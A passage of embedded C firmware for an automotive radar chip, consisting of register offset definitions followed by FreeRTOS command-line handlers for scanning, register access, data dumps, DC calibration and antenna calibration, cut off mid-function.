#define REG_DMU_MUX_UART0_OFFSET (23 << 2)
#define REG_DMU_MUX_UART1_OFFSET (24 << 2)
#define REG_DMU_MUX_CAN0_OFFSET (25 << 2)
#define REG_DMU_MUX_CAN1_OFFSET (26 << 2)
#define REG_DMU_MUX_RESET_OFFSET (27 << 2)
#define REG_DMU_MUX_SYNC_OFFSET (28 << 2)
#define REG_DMU_MUX_I2C_OFFSET (29 << 2)
#define REG_DMU_MUX_PWM0_OFFSET (30 << 2)
#define REG_DMU_MUX_PWM1_OFFSET (31 << 2)
#define REG_DMU_MUX_ADC_CLK_OFFSET (32 << 2)
#define REG_DMU_MUX_CAN_CLK_OFFSET (33 << 2)
#define REG_DMU_MUX_SPI_M0_OFFSET (34 << 2)
#define REG_DMU_MUX_SPI_S_OFFSET (35 << 2)
#define REG_DMU_MUX_SPI_S1_OFFSET (36 << 2)
#define REG_DMU_MUX_JTAG_OFFSET (37 << 2)
#define REG_DMU_SYS_DMA_ENDIAN_OFFSET (38 << 2)
#define REG_DMU_SYS_DMA_REQ_S_OFFSET (39 << 2)
#define REG_DMU_SYS_SHSEL_NP_OFFSET (40 << 2)
#define REG_DMU_SYS_DMU_SEL_OFFSET (41 << 2)
#define REG_DMU_SYS_ICM0_FIX_P_OFFSET (42 << 2)
#define REG_DMU_SYS_ICM1_FIX_P_OFFSET (43 << 2)
#define REG_DMU_SYS_PWM0_ENA_OFFSET (44 << 2)
#define REG_DMU_SYS_PWM1_ENA_OFFSET (45 << 2)
#define REG_DMU_SYS_MEMRUN_ENA_OFFSET (46 << 2)
#define REG_DMU_SYS_MEMINI_ENA_OFFSET (47 << 2)
/* cmd out bits fields define. */
#define BIT_REG_DMU_CMD_WR (1 << 15)
#define BITS_REG_DMU_CMD_ADDR_MASK (0x7F)
#define BITS_REG_DMU_CMD_ADDR_SHIFT (8)
#define BITS_REG_DMU_CMD_WR_DAT_MASK (0xFF)
#define BITS_REG_DMU_CMD_WR_DAT_SHIFT (0)
/* dmu select. */
#define SYS_DMU_SEL_DBG (1)
#define SYS_DMU_SEL_GPIO (0)
#endif
<file_sep>#include "embARC_toolchain.h"
#include "embARC_assert.h"
#include "embARC.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include "FreeRTOS.h"
#include "semphr.h"
#include "FreeRTOS_CLI.h"
#include "alps_hardware.h"
#include "clkgen.h"
#include "mux.h"
#include "sensor_config.h"
#include "baseband_reg.h"
#include "baseband_hw.h"
#include "baseband.h"
#include "radio_ctrl.h"
#include "calterah_limits.h"
#include "dbg_gpio_reg.h"
#include "baseband_task.h"
#include "baseband_dpc.h"
#include "spi_hal.h"
#include "gpio_hal.h"
#include "dw_gpio.h"
#include "spi_master.h"
#include "cascade.h"
#include "baseband_cas.h"
#include "apb_lvds.h"
#include "radio_reg.h"
#include "radio_ctrl.h"
#include "baseband_cli.h"
#include "timers.h"
static bool sta_dmp_mid_en = false;
static bool sta_dmp_fnl_en = false;
static bool sta_fft1d_en = false;
static bool scan_stop_flag = false;
static bool stream_on_en = false;
static bool lvds_en = false;
bool baseband_stream_on_dmp_mid()
{
return sta_dmp_mid_en;
}
bool baseband_stream_on_dmp_fnl()
{
return sta_dmp_fnl_en;
}
bool baseband_stream_on_fft1d()
{
return sta_fft1d_en;
}
bool baseband_scan_stop_req()
{
bool tmp = scan_stop_flag;
if (scan_stop_flag)
scan_stop_flag = false;
return tmp;
}
bool baseband_stream_off_req()
{
bool tmp = stream_on_en;
if (stream_on_en)
stream_on_en = false;
return tmp;
}
#ifdef UNIT_TEST
#define MDELAY(ms)
#define UDELAY(us)
#else
#define MDELAY(ms) chip_hw_mdelay(ms);
#define UDELAY(us) chip_hw_udelay(us);
#endif
#define BB_WRITE_REG(bb_hw, RN, val) baseband_write_reg(bb_hw, BB_REG_##RN, val)
#define BB_READ_REG(bb_hw, RN) baseband_read_reg(bb_hw, BB_REG_##RN)
extern SemaphoreHandle_t mutex_frame_count;
extern int32_t frame_count;
extern QueueHandle_t queue_bb_isr;
void baseband_cli_commands();
#define READ_BACK_LEN 64
#define DATA_DUMP_SMOKE_TEST 0 /* 0 -- real-time adc data; 1 -- eable pattern test */
#define ENA_PRINT_ANT_CALIB 0
#define FFTP_SIZE 11
#define FFTP_SIZE_HALF 5
static bool baseband_cli_registered = false;
static BaseType_t scan_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_reg_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_regdump_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_tbldump_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bbcfg_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_init_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_datdump_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_dc_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t ant_calib_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t tx_ant_phase_calib_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_datdump_serport_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_dbg_urt_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t radar_param_show(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_fftdump_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_test_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_bist_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_dac_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_hil_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_dbgdump_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t bb_dbgsam_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
#if INTER_FRAME_POWER_SAVE == 1
static BaseType_t bb_interframe_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
#endif //INTER_FRAME_POWER_SAVE
static BaseType_t bb_agc_dbg_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t fftp_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
static BaseType_t Txbf_saturation_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
#if (NUM_FRAME_TYPE > 1)
static BaseType_t fi_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
#endif // (NUM_FRAME_TYPE > 1)
static BaseType_t bb_sambuf_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
#ifdef CHIP_CASCADE
static BaseType_t bb_sync_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
#endif // CHIP_CASCADE
static BaseType_t bb_rst_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* helpers */
static void print_help(char* buffer, size_t buff_len, const CLI_Command_Definition_t* cmd)
{
uint32_t tot_count = 0;
int32_t count = sprintf(buffer, "Wrong input\n\r %s", cmd->pcHelpString);
EMBARC_ASSERT(count > 0);
tot_count += count;
EMBARC_ASSERT(tot_count < buff_len);
}
/* scan command */
static const CLI_Command_Definition_t scan_command = {
"scan",
"scan \n\r"
"\tStart sensor scanning operation. \n\r"
"\tUsage: scan [start/stop] <nframes = -1> <stream_on/stream_off> <adc/fft1d/fft2d/dbg_sam> <lvds>\n\r",
scan_command_handler,
-1
};
static BaseType_t scan_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1, *param2, *param3, *param4, *param5;
BaseType_t len1, len2, len3, len4, len5;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
param3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &len3);
param4 = FreeRTOS_CLIGetParameter(pcCommandString, 4, &len4);
param5 = FreeRTOS_CLIGetParameter(pcCommandString, 5, &len5);
sta_dmp_mid_en = false;
sta_dmp_fnl_en = false;
sta_fft1d_en = false;
lvds_en = false;
int32_t count = 0;
uint8_t dump_src = DBG_SRC_DUMP_W_SYNC;
/* get parameter 1, 2*/
if (param1 != NULL) {
if (strncmp(param1, "start", 5) == 0) {
baesband_frame_interleave_cnt_clr(); // clear recfg count in frame interleaving
scan_stop_flag = false;
stream_on_en = false;
if (param2 == NULL)
count = -1;
else
count = strtol(param2, NULL, 0);
} else if (strncmp(param1, "stop", 4) == 0) {
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
scan_stop_flag = true;
#else
baseband_scan_stop(); /* scan stop */
#endif
pcWriteBuffer[0] = '\0';
return pdFALSE;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &scan_command);
return pdFALSE;
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &scan_command);
return pdFALSE;
}
/* get parameter 3 */
if (param3 != NULL) {
if (strncmp(param3, "stream_on", sizeof("stream_on") - 1) == 0) {
stream_on_en = true;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &scan_command);
return pdFALSE;
}
}
/* get parameter 4 */
if ((param4 != NULL) && (stream_on_en == true)) {
if (strncmp(param4, "adc", sizeof("adc") - 1) == 0) {
sta_dmp_mid_en = true;
sta_fft1d_en = true;
baseband_switch_buf_store(NULL, SYS_BUF_STORE_ADC);
} else if (strncmp(param4, "fft1d", sizeof("fft1d") - 1) == 0) {
sta_dmp_mid_en = true;
baseband_switch_buf_store(NULL, SYS_BUF_STORE_FFT);
} else if (strncmp(param4, "fft2d", sizeof("fft2d") - 1) == 0) {
sta_dmp_fnl_en = true;
} else if (strncmp(param4, "dbg_sam", sizeof("dbg_sam") - 1) == 0) {
dump_src = DBG_SRC_SAM; /* config sample debug data to GPIO */
bb_clk_switch(); /* debug data has no buffer, bb clock should be switched to dbgbus clock */
} else {
stream_on_en = false;
print_help(pcWriteBuffer, xWriteBufferLen, &scan_command);
return pdFALSE;
}
}
/* get parameter 5 */
if(param5 != NULL){
if(strncmp(param5, "lvds", sizeof("lvds") - 1) == 0){
lvds_en = true;
}
}
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
baseband_write_cascade_cmd(pcCommandString); /* spi tx CommandString to slave*/
#endif
/* dbgbus/lvds switch */
if (stream_on_en) {
#ifdef CHIP_CASCADE
lvds_dump_start(dump_src);
#else
if(lvds_en == true){
lvds_dump_start(dump_src);
}else{
dbgbus_dump_start(dump_src);
}
#endif // CHIP_CASCADE
}
/* change frame number */
xSemaphoreTake(mutex_frame_count, portMAX_DELAY);
frame_count = count;
xSemaphoreGive(mutex_frame_count);
pcWriteBuffer[0] = '\0';
return pdFALSE;
}
/* bb_reg command */
static const CLI_Command_Definition_t bb_reg_command = {
"bb_reg",
"bb_reg \n\r"
"\tWrite or read baseband register. \n\r"
"\tUsage: bb_reg [addr] <data> \n\r",
bb_reg_command_handler,
-1
};
static BaseType_t bb_reg_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1, *param2;
BaseType_t len1, len2;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
if (param1 != NULL && param2 != NULL) {
unsigned int regAddr = (unsigned int) strtol(param1, NULL, 0);
unsigned int regValue = strtoul(param2, NULL, 0); /* change 'string' to 'unsigned long' */
baseband_write_reg(NULL, regAddr, regValue);
sprintf(pcWriteBuffer, "\r\nset baseband register: address - 0x%02X) value - 0x%02X\r\n",
regAddr, regValue);
} else if (param1 != NULL && param2 == NULL) {
unsigned int regAddr = (unsigned int) strtol(param1, NULL, 0);
unsigned int regValue = baseband_read_reg(NULL, regAddr);
sprintf(pcWriteBuffer, "\r\nset baseband register: address - 0x%02X value - 0x%02X\r\n",
regAddr, regValue);
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_reg_command);
}
return pdFALSE;
}
/* bb_regdump command */
static const CLI_Command_Definition_t bb_regdump_command = {
"bb_regdump",
"bb_regdump \n\r"
"\tDump all baseband register. \n\r"
"\tUsage: bb_regdump\n\r",
bb_regdump_command_handler,
0
};
static BaseType_t bb_regdump_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
baseband_reg_dump(NULL);
return pdFALSE;
}
/* bb_tbldump command */
static const CLI_Command_Definition_t bb_tbldump_command = {
"bb_tbldump",
"bb_tbldump \n\r"
"\tDump baseband memory/LUT. \n\r"
"\tUsage: bb_tbldump <table_id> <offset> <length>\n\r",
bb_tbldump_command_handler,
-1
};
static BaseType_t bb_tbldump_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1, *param2, *param3;
BaseType_t len1, len2, len3;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
param3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &len3);
uint32_t table_id;
uint32_t offset;
uint32_t length;
if (param1 != NULL) {
table_id = strtol(param1, NULL, 0);
if (param2 == NULL)
offset = 0x0;
else
offset = strtol(param2, NULL, 0);
if (param3 == NULL)
length = 16;
else
length = strtol(param3, NULL, 0);
baseband_tbl_dump(NULL, table_id, offset, length);
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_tbldump_command);
}
return pdFALSE;
}
/* bb_init command */
static const CLI_Command_Definition_t bb_init_command = {
"bb_init",
"bb_init \n\r"
"\tBaseband initialization. \n\r"
"\tUsage: bb_init\n\r",
bb_init_command_handler,
0
};
static BaseType_t bb_init_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
baseband_write_cascade_cmd(pcCommandString); /* spi tx CommandString to slave*/
#endif
sensor_config_t *cfg = sensor_config_get_cur_cfg();
sensor_config_check(cfg);
baseband_clock_init();
baseband_cli_commands();
baseband_init(cfg->bb);
return pdFALSE;
}
/* bb_datdump command */
static const CLI_Command_Definition_t bb_datdump_command = {
"bb_datdump",
"bb_datdump \n\r"
"\tBaseband data dump \n\r"
"\tUsage: bb_datdump <adc/fft1d/fft2d> <tone/normal> <nframe=10> <lvds>\n\r",
bb_datdump_command_handler,
-1
};
static BaseType_t bb_datdump_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1, *param2, *param3, *param4;
BaseType_t len1, len2, len3, len4;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
param3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &len3);
param4 = FreeRTOS_CLIGetParameter(pcCommandString, 4, &len4);
uint32_t dump_position, nframe;
uint16_t bb_status_en = 0;
bool fft2d_dump_flag = false;
bool single_tone = false;
bool lvds_en = false;
/* get paremeter */
if (param1 != NULL) {
if (strncmp(param1, "adc", sizeof("adc") - 1) == 0) {
dump_position = SYS_BUF_STORE_ADC;
} else if (strncmp(param1, "fft1d", sizeof("fft1d") - 1) == 0) {
dump_position = SYS_BUF_STORE_FFT;
} else if (strncmp(param1, "fft2d", sizeof("fft2d") - 1) == 0) {
dump_position = SYS_BUF_STORE_FFT;
fft2d_dump_flag = true;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_datdump_command);
return pdFALSE;
}
} else {
dump_position = SYS_BUF_STORE_ADC;
}
if (param2 != NULL) {
if (strncmp(param2, "tone", sizeof("tone") - 1) == 0)
single_tone = true; /* no FMCW, only baseband*/
else if (strncmp(param2, "normal", sizeof("normal") - 1) == 0)
single_tone = false;
else
single_tone = false;
} else {
single_tone = false;
}
if (param3 != NULL) {
nframe = strtol(param3, NULL, 0);
if (nframe > 1000) /* max limitation due to no stop mechanism in this command */
nframe = 10;
} else {
nframe = 10;
}
if(param4 != NULL){
if(strncmp(param4, "lvds", sizeof("lvds") - 1) == 0){
lvds_en = true;
}
}
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
baseband_write_cascade_cmd(pcCommandString); /* spi tx CommandString to slave*/
#endif
baesband_frame_interleave_cnt_clr(); // clear recfg count in frame interleaving
baseband_t* bb = baseband_get_rtl_frame_type(); /* read back the bank selected in RTL */
sensor_config_t* cfg = (sensor_config_t*)(bb->cfg);
fmcw_radio_t* radio = &bb->radio;
bool tx_en = !single_tone;
bool radio_en = !single_tone;
/* message queue */
uint32_t event_datdump = 0;
/* dbgbus/lvds switch */
#ifdef CHIP_CASCADE
lvds_dump_start(DBG_SRC_DUMP_W_SYNC);
#else
if (lvds_en == true){
lvds_dump_start(DBG_SRC_DUMP_W_SYNC);
}else{
dbgbus_dump_start(DBG_SRC_DUMP_W_SYNC);
}
#endif // CHIP_CASCADE
/* single tone settings */
if (single_tone == true) {
fmcw_radio_tx_ch_on(radio, -1, false); /* turn off tx */
fmcw_radio_single_tone(radio, cfg->fmcw_startfreq, true); /* enable radio single tone of fmcw_startfreq */
MDELAY(1); /* for FMCW settled */
BB_WRITE_REG(&bb->bb_hw, SAM_FORCE, SAM_FORCE_ENABLE);
}
/* smoke test data pattern settings */
if (DATA_DUMP_SMOKE_TEST == 1) /* write data pattern to memory */
baseband_datdump_smoke_test(&bb->bb_hw);
/* timer start */
track_start(bb->track);
while(1) {
if ((nframe != 0) && (track_is_ready(bb->track))) {
track_lock(bb->track);
/* align bank of frame type */
bb = baseband_frame_interleave_recfg(); /* reconfigure the frame pattern */
cfg = (sensor_config_t*)(bb->cfg);
baseband_hw_t* bb_hw = &bb->bb_hw;
/* baseband dump init */
uint32_t old_buf_store = baseband_switch_buf_store(bb_hw, dump_position);
uint8_t old_bnk = BB_READ_REG(bb_hw, FDB_SYS_BNK_ACT); /* read back the bank selected in RTl */
uint16_t old_status_en = BB_READ_REG(bb_hw, SYS_ENABLE);
/* data collection*/
if (DATA_DUMP_SMOKE_TEST == 1) { /* data pattern test */
bb_status_en = SYS_ENA(DMP_FNL, true);
baseband_start_with_params(bb, false, false, bb_status_en, false, BB_IRQ_ENABLE_BB_DONE, false);
/* cas_sync_en = false */
/* as DMP_FNL on slave will directly run without ADC sync */
/* so master no need sync with slave when smoke test */
} else if (fft2d_dump_flag == true) { /* fft2d data */
bb_status_en = SYS_ENA(SAM , true)
|SYS_ENA(FFT_2D , true)
|SYS_ENA(DMP_FNL, true);
baseband_start_with_params(bb, radio_en, tx_en, bb_status_en, true, BB_IRQ_ENABLE_ALL, false);
} else { /* adc or fft1d data*/
bb_status_en = SYS_ENA(SAM , true)
|SYS_ENA(DMP_FNL, true);
baseband_start_with_params(bb, radio_en, tx_en, bb_status_en, true, BB_IRQ_ENABLE_ALL, false);
}
// wait done
if(xQueueReceive(queue_bb_isr, &event_datdump, portMAX_DELAY) == pdTRUE)
;
/* restore baseband status */
/* the following 3 lines should be inside the while loop, as bank index will change in multi mode */
BB_WRITE_REG(bb_hw, SYS_BNK_ACT, old_bnk);
BB_WRITE_REG(bb_hw, SYS_ENABLE, old_status_en);
baseband_switch_buf_store(bb_hw, old_buf_store);
EMBARC_PRINTF("frame = %d\n", nframe);
nframe--;
} else if( nframe == 0 ) {
break;
} else {
taskYIELD();
}
}
/* dump finish */
#ifdef CHIP_CASCADE
lvds_dump_stop();
#else
if (lvds_en == true){
lvds_dump_stop();
}else{
dbgbus_dump_stop();
}
#endif // CHIP_CASCADE
track_stop(bb->track);
/* single tone settings restore */
if (single_tone == true) {
BB_WRITE_REG(&bb->bb_hw, SAM_FORCE, SAM_FORCE_DISABLE);
baseband_hw_reset_after_force(&bb->bb_hw);
#if INTER_FRAME_POWER_SAVE == 0 /* when power save enabled, restore will be run when next "baseband_start_with_params" */
fmcw_radio_tx_restore(radio);
#endif
}
return pdFALSE;
}
/* bb_dc command */
static const CLI_Command_Definition_t bb_dc_command = {
"bb_dc",
"bb_dc \n\r"
"\tOutput DC offset.\n\r"
"\tUsage: bb_dc <voltage/leakage>\n\r",
bb_dc_command_handler,
-1
};
static BaseType_t bb_dc_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1;
BaseType_t len1;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
bool leakage_flag = false;
/* get paremeter */
if (param1 != NULL) {
if (strncmp(param1, "voltage", sizeof("voltage") - 1) == 0) {
leakage_flag = false;
} else if (strncmp(param1, "leakage", sizeof("leakage") - 1) == 0) {
leakage_flag = true;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dc_command);
return pdFALSE;
}
}
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
baseband_write_cascade_cmd(pcCommandString); /* spi tx CommandString to slave*/
#endif
/* get RTL bank selected*/
baseband_t* bb = baseband_get_rtl_frame_type(); /* read back the bank selected in RTL */
baseband_hw_t *bb_hw = &bb->bb_hw;
baseband_dc_calib_init(bb_hw, leakage_flag, true);
return pdFALSE;
}
/* ant_calib command */
static const CLI_Command_Definition_t ant_calib_command = {
"ant_calib",
"ant_calib \n\r"
"\tBaseband initialization. \n\r"
"\tUsage: ant_calib\n\r",
ant_calib_command_handler,
-1
};
static volatile bool frame_ready = true;
static xTimerHandle xTimerFrame = NULL;
void vTimerFrameCallback(xTimerHandle xTimer)
{
frame_ready = true;
}
static BaseType_t ant_calib_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
baesband_frame_interleave_cnt_clr(); // clear recfg count in frame interleaving
/* reconfigure the frame pattern for frame-interleaving */
baseband_t *bb = baseband_frame_interleave_recfg();
sensor_config_t *cfg = (sensor_config_t*)(bb->cfg);
baseband_hw_t* bb_hw = &bb->bb_hw;
const char *param1, *param2, *param3, *param4, *param5, *param6;
BaseType_t len1, len2, len3, len4, len5, len6;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
param3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &len3);
param4 = FreeRTOS_CLIGetParameter(pcCommandString, 4, &len4);
param5 = FreeRTOS_CLIGetParameter(pcCommandString, 5, &len5);
param6 = FreeRTOS_CLIGetParameter(pcCommandString, 6, &len6);
int calib_ang = 0; // calib angle
float calib_rang_min = 0.5; // minimum target distance, unit: meter
float calib_rang_max = 50.0; // maximum target distance, unit: meter
int calib_num = 10, calib_cnt = 0; // calib times
uint32_t rng_index = 0; // target 2D-FFT range index
uint16_t frame_period = 50; // Frame Repetition Period in ms
bool timer_en = false;
uint8_t bpm_idx_min = 0;
uint8_t bpm_idx_max = cfg->nvarray - 1;
if (cfg->anti_velamb_en) {
bpm_idx_min = 1;
bpm_idx_max = cfg->nvarray;
}
/* get paremeter */
if (param1 != NULL) {
calib_ang = strtol(param1, NULL, 0);
if (calib_ang > 90 || calib_ang < -90)
calib_ang = 0;
}
if (param2 != NULL) {
calib_rang_min = strtol(param2, NULL, 0);
if (calib_rang_min < 2*bb->sys_params.rng_delta)
calib_rang_min = 0.5;
}
if (param3 != NULL) {
calib_rang_max = strtol(param3, NULL, 0);
if (calib_rang_max < 2*bb->sys_params.rng_delta)
calib_rang_max = 50.0;
}
if (param4 != NULL) {
calib_num = strtol(param4, NULL, 0);
if (calib_num < 1)
calib_num = 10;
}
if (param5 != NULL) {
rng_index = strtol(param5, NULL, 0);
if (rng_index > 200 || calib_num < 5)
rng_index = 0;
}
if(param6 != NULL){
timer_en = true;
frame_period = strtol(param6, NULL,0);
if(frame_period < 10 || frame_period > 5000)
frame_period = 50;
}
calib_cnt = calib_num / cfg->nvarray;
/* Initialize Timer */
if(timer_en){
if(xTimerFrame == NULL){
/* if timer has not been created before, create timer */
xTimerFrame = xTimerCreate("FrameTimer", pdMS_TO_TICKS(frame_period), pdTRUE, (void *)1, vTimerFrameCallback);
if(xTimerFrame == NULL){
EMBARC_PRINTF("Timer Initialization failed.\r\n");
}
}else{
/* if timer has already been created, update the frame repeatition period */
xTimerChangePeriod(xTimerFrame, pdMS_TO_TICKS(frame_period), 0);
}
}
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
baseband_write_cascade_cmd(pcCommandString); /* spi tx CommandString to slave*/
#endif
/* turn off zero doppler removel */
bool old_zer_dpl = BB_READ_REG(bb_hw, FFT_ZER_DPL_ENB);
BB_WRITE_REG(bb_hw, FFT_ZER_DPL_ENB , 0);
dmu_adc_reset(); // ADC should reset in cascade
while(1){
if((frame_ready) && (calib_cnt > 0)){
if(timer_en){
frame_ready = false;
if( xTimerStart( xTimerFrame, 0 ) != pdPASS ){
EMBARC_PRINTF("Timer not started.\r\n");
break;
}
}
/* start baseband */
baseband_start_with_params(bb, true, true,
( (SYS_ENABLE_SAM_MASK << SYS_ENABLE_SAM_SHIFT)
| (SYS_ENABLE_FFT_2D_MASK << SYS_ENABLE_FFT_2D_SHIFT)
| (SYS_ENABLE_CFR_MASK << SYS_ENABLE_CFR_SHIFT)
| (SYS_ENABLE_BFM_MASK << SYS_ENABLE_BFM_SHIFT)),
true, BB_IRQ_ENABLE_SAM_DONE, false);
/* wait done */
while (baseband_hw_is_running(bb_hw) == false)
;
while (baseband_hw_is_running(bb_hw) == true)
;
// Search test target peak in 2D-FFT plane
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
/* search peak */
if ( rng_index==0 ) {
float peak_power = 0;
complex_t complex_fft;
uint32_t fft_mem;
int bpm_index;
int ch_index;
int tmp_rng_ind = (int)(calib_rang_min/bb->sys_params.rng_delta);
int rng_ind_end = (int)(calib_rang_max/bb->sys_params.rng_delta);
for ( ; tmp_rng_ind <= rng_ind_end; tmp_rng_ind++) {
float tmp_power = 0;
for (bpm_index = bpm_idx_min; bpm_index <= bpm_idx_max; bpm_index++) {
for (ch_index = 0; ch_index < MAX_NUM_RX; ch_index++) {
fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index, tmp_rng_ind, 0, bpm_index);
complex_fft = cfl_to_complex(fft_mem, 14, 14, true, 4, false);
tmp_power += (complex_fft.r * complex_fft.r + complex_fft.i * complex_fft.i) / 64; // Non-coherent accumulation of 4 channel 2D-FFT value
}
}
if (peak_power < tmp_power) { // find the peak
peak_power = tmp_power;
rng_index = tmp_rng_ind; // peak index
}
}
}
/*print the result of last calib to check the memory read is correct*/
baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_RLT);
volatile obj_info_t *obj_info = (volatile obj_info_t *)BB_MEM_BASEADDR;
if(ENA_PRINT_ANT_CALIB == 1 && calib_cnt == (calib_num / cfg->nvarray) - 1)
for (int i = 0; i < 4; i++)
EMBARC_PRINTF("obj_num = 0x%x rng = 0x%x vel = 0x%x noi = 0x%x sig_0 = 0x%x\n", i, obj_info[i].rng_idx, obj_info[i].vel_idx, obj_info[i].noi, obj_info[i].doa[0].sig_0);
/* output phase */
int ch_index;
int bpm_index;
uint32_t fft_mem;
complex_t complex_fft;
float angle;
float power;
baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_SLAVE) {
cascade_write_buf_req();
cascade_write_buf(rng_index); // write rng_index to spi
for (int bpm_index = bpm_idx_min; bpm_index <= bpm_idx_max; bpm_index++) {
for (int ch_index = 0; ch_index < MAX_NUM_RX; ch_index++) {
fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index, rng_index, 0, bpm_index);
cascade_write_buf(fft_mem); // write FFT data to spi
}
}
cascade_write_buf_done();
}
#endif
for (bpm_index = bpm_idx_min; bpm_index <= bpm_idx_max; bpm_index++){
for (ch_index = 0; ch_index < MAX_NUM_RX; ch_index++){
fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index, rng_index, 0, bpm_index);
complex_fft = cfl_to_complex(fft_mem, 14, 14, true, 4, false);
angle = (atan2f(complex_fft.i, complex_fft.r) * 180.0 / 3.14);
power = (complex_fft.r * complex_fft.r + complex_fft.i * complex_fft.i) / 50;
EMBARC_PRINTF("%7.2f %7.2f ", angle, power);
}
}
EMBARC_PRINTF(" rng_index %d range %.2f master\n", rng_index, rng_index*bb->sys_params.rng_delta);
baseband_switch_mem_access(bb_hw, old);
#ifdef CHIP_CASCADE
uint32_t slv_fft_buf[MAX_NUM_RX*MAX_NUM_RX];
uint32_t rx_buf_offset = 0;
if (chip_cascade_status() == CHIP_CASCADE_MASTER) { // read slave FFT data
if (E_OK == cascade_read_buf_req(WAIT_TICK_NUM)) { /* wait 30ms */
uint32_t slv_rng_index = cascade_read_buf(rx_buf_offset++); // read rng_index from spi
for (int bpm_index = bpm_idx_min; bpm_index <= bpm_idx_max; bpm_index++) {
for (int ch_index = 0; ch_index < MAX_NUM_RX; ch_index++) {
// now rx_buf_offset == 1
